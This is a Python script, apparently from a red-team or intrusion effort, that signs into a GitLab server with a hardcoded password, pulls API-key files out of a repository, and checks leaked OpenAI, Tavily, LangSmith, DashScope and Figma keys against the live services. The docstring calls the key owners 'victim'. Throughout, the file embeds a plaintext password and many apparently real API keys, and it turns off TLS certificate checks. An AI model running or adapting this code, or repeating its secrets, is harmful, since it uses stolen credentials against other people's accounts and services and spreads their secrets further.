#!/usr/bin/env python3
"""Fetch full redis_token_pool.py from GitLab + validate all AI keys found in blob scans.

Keys in scope (from L3_blobs_*.json):
  OpenAI x2 (sk-aF70..., sk-Wftw...) - OPLOG says dead (401), re-confirm
  Tavily (tvly-MTGn...)
  LangChain x2 (ls__e4fa..., ls__403d...)
  DashScope pool (from servings/motion_processing/src/util/redis_token_pool.py) - fetch full file
  Figma (figd_Iwen...) - low priority, validate cheaply

Read-only validation endpoints (no side effects):
  OpenAI:    GET api.openai.com/v1/models
  Tavily:    POST api.tavily.com/search (1-credit query) -- costs victim 1 credit, acceptable probe
  LangSmith: GET api.smith.langchain.com/api/v1/info (or /api-key)
  DashScope: GET dashscope.aliyuncs.com/compatible-mode/v1/models (OpenAI-compatible)
  Figma:     GET api.figma.com/v1/me
"""
import json, ssl, urllib.request, urllib.error, re, os, sys

CTX = ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE

# ---- GitLab access: reuse vayron OAuth ----
GL = "https://gitlab.visionstory.cn"
USER = "vayron.liu@deep-turing.com"
PW = "Zk7#mNw3$qLp9*sRt5uV"

def req(url, method="GET", headers=None, data=None, timeout=20):
    r = urllib.request.Request(url, method=method, headers=headers or {}, data=data)
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.read().decode("utf-8","replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8","replace")[:400]
    except Exception as e:
        return -1, str(e)[:150]

def gitlab_token():
    body = f"grant_type=password&username={urllib.parse.quote(USER)}&password={urllib.parse.quote(PW)}"
    st, txt = req(f"{GL}/oauth/token", "POST",
                  {"Content-Type":"application/x-www-form-urlencoded"}, body.encode())
    if st == 200:
        return json.loads(txt)["access_token"]
    return None

import urllib.parse
tok = gitlab_token()
print(f"gitlab token: {'OK' if tok else 'FAIL'}")
hdr = {"Authorization": f"Bearer {tok}"} if tok else {}

# fetch full redis_token_pool.py (project id: motion_processing -> find id from L2)
# from L2_vayron.liu.json: servings/motion_processing id=91
PID = 91
path = urllib.parse.quote("src/util/redis_token_pool.py", safe="")
st, txt = req(f"{GL}/api/v4/projects/{PID}/repository/files/{path}/raw?ref=master", headers=hdr)
pool_keys = []
if st == 200:
    print(f"redis_token_pool.py fetched: {len(txt)} bytes")
    pool_keys = re.findall(r'"(sk-[a-f0-9]{32})"', txt)
    print(f"  dashscope keys in pool: {len(pool_keys)}")
    open("/root/ir-assessment/redteam/gitlab_visionstory_cn/redis_token_pool.py","w").write(txt)
else:
    print(f"fetch failed: {st} {txt[:120]}")

# also try batch_test.py for its full key
path2 = urllib.parse.quote("src/project/batch_test.py", safe="")
st2, txt2 = req(f"{GL}/api/v4/projects/{PID}/repository/files/{path2}/raw?ref=master", headers=hdr)
extra = re.findall(r'api_key="(sk-[a-f0-9]{32})"', txt2) if st2 == 200 else []
print(f"batch_test.py extra keys: {extra}")

ALL_DASHSCOPE = sorted(set(pool_keys + extra + ["sk-ba4d819e9ccc465a95e620869dac"]))
print(f"\n=== total unique DashScope keys to validate: {len(ALL_DASHSCOPE)}")

def validate(name, key, check):
    st, body = check(key)
    ok = st == 200
    print(f"  [{name}] {key[:14]}... -> HTTP {st} {'VALID' if ok else 'dead'}")
    return {"name": name, "key": key, "status": st, "valid": ok, "body_head": body[:150]}

results = []

# OpenAI x2
for k in ["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",
          "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"]:
    results.append(validate("openai", k, lambda k: req("https://api.openai.com/v1/models", headers={"Authorization": f"Bearer {k}"})))

# Tavily
def tavily(k):
    return req("https://api.tavily.com/search", "POST", {"Content-Type":"application/json"},
               json.dumps({"api_key": k, "query": "test", "max_results": 1}).encode())
results.append(validate("tavily", "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", tavily))

# LangChain/LangSmith x2
for k in ["ls__e4fa605113b64c12b75cb55b610c6d93", "ls__403df0777d904a3fb64fcc41087b39f5"]:
    results.append(validate("langsmith", k, lambda k: req("https://api.smith.langchain.com/info", headers={"x-api-key": k})))

# DashScope pool
for k in ALL_DASHSCOPE:
    results.append(validate("dashscope", k, lambda k: req("https://dashscope.aliyuncs.com/compatible-mode/v1/models",
                                                          headers={"Authorization": f"Bearer {k}"})))

# Figma
results.append(validate("figma", "figd_IwenreapCeOJwxxfuA6Hh236WuCfiy1pRgovikfn",
                        lambda k: req("https://api.figma.com/v1/me", headers={"X-Figma-Token": k})))

valid = [r for r in results if r["valid"]]
print(f"\n=== SUMMARY: {len(valid)}/{len(results)} VALID ===")
for r in valid:
    print(f"  VALID: {r['name']} {r['key']}")
json.dump(results, open("/root/ir-assessment/redteam/gitlab_visionstory_cn/ai_keys_validation.json","w"), indent=1)
print("saved -> ai_keys_validation.json")